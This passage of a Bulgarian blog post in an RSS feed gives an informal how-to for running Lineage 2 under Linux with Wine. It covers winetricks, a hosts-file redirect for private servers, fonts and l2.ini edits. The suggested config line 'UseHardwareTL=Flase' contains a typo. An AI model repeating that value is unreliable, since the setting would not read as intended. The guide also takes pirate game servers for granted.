<p>3. Winetricks &#8211; разравяте се из google и си намирате скриптчето наречено wintericks</p>
<p>3.1 Инсталация на DirectX 9 &#8211; от winetricks става супер лесно</p>
<p>3.2 Инсталация на GECKO &#8211; пак от wintericks. Това е важно, само ако ще ползвате update през LineageII.exe</p>
<p>II. Сваляне:</p>
<p>1. Намирате си играта и си я сваляте L2. Тази стъпка трябва да ви е ясна! Забивате я някъде и готово!</p>
<p>(до колкото схващам от цялата философия може и да не ви се наложи да минете през другите стъпки, но това си зависи от вашата система. Аз все пак ще си ви ги напиша.)</p>
<p>III. Настройки &#8211; пипкавата работа:</p>
<p>1. /etc/hosts &#8211; тези от вас които са играли пиратски сървъри на Lineage 2 под добрата стара боза знаят как се правеха промените в %windows%/system32/driver/etc/hosts файл-а. Е тука ви трябва само в /etc/hosts да добавите:</p>
<p>xx.xx.xx.xx L2authd.lineage2.com</p>
<p>ако разбира се сървъра ви го иска!</p>
<p>(тук е момента да пробвате да влезете в папка system на играта и да напишете wine l2.exe &#8211; шанса е 50/50 да тръгне от воле. Не се притеснявайте от онова за AGP inconsistancy)</p>
<p>2. Шрифотве &#8211; и така влизате в прозореца на играта &#8230; и о чудо &#8211; всички бутончета са празни, вие не виждате какво пишете &#8230; проблем! Решението е просто: Намерете си tahoma.ttf (копирайте го от font дирецторията на който и да е winbows) и го сложете в ~/.wine/drive_c/windows/fonts</p>
<p>3. Ако точка 1 не успее &#8211; опитали сте по т.1 и сте ме наругали защото не е тръгнало. Не се предавайте &#8211; решението е просто &#8211; отивате в папка system на играта и отваряте l2.ini &#8230;</p>
<p>Вариант 1: l2.ini е текстов. Супер! Намерете редовете:</p>
<pre>UseHardwareTL=True
UseHardwareVS=True</pre>
<p>и ги заменете на</p>
<pre>UseHardwareTL=Flase
UseHardwareVS=False</pre>
<p>&#8230; и това е!</p>
<p>wine l2.exe &#8230; и готово.</p>
<p>Вариант 2: l2.ini е бинарен. Мааалка спънка! Но не за дълго:</p>
<p>- немрете си l2encdec от <a href="http://dstuff.l2wh.com/" target="_blank">тук</a></p>
<p>- декриптирайте l2.ini (има си readme)</p>
<p>- когато l2.ini стане текстов &#8230; се върни на Вариант 1!</p>
<p>Ето ви го решението. Аз за сега не намирам проблем, а отняколко часа играя &#8230;</p>
<p>Ако имате проблеми &#8211; казвайте да ги мисля.</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/lineage-2-gracia-final-%d0%bf%d0%be%d0%b4-linux-geek-time/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

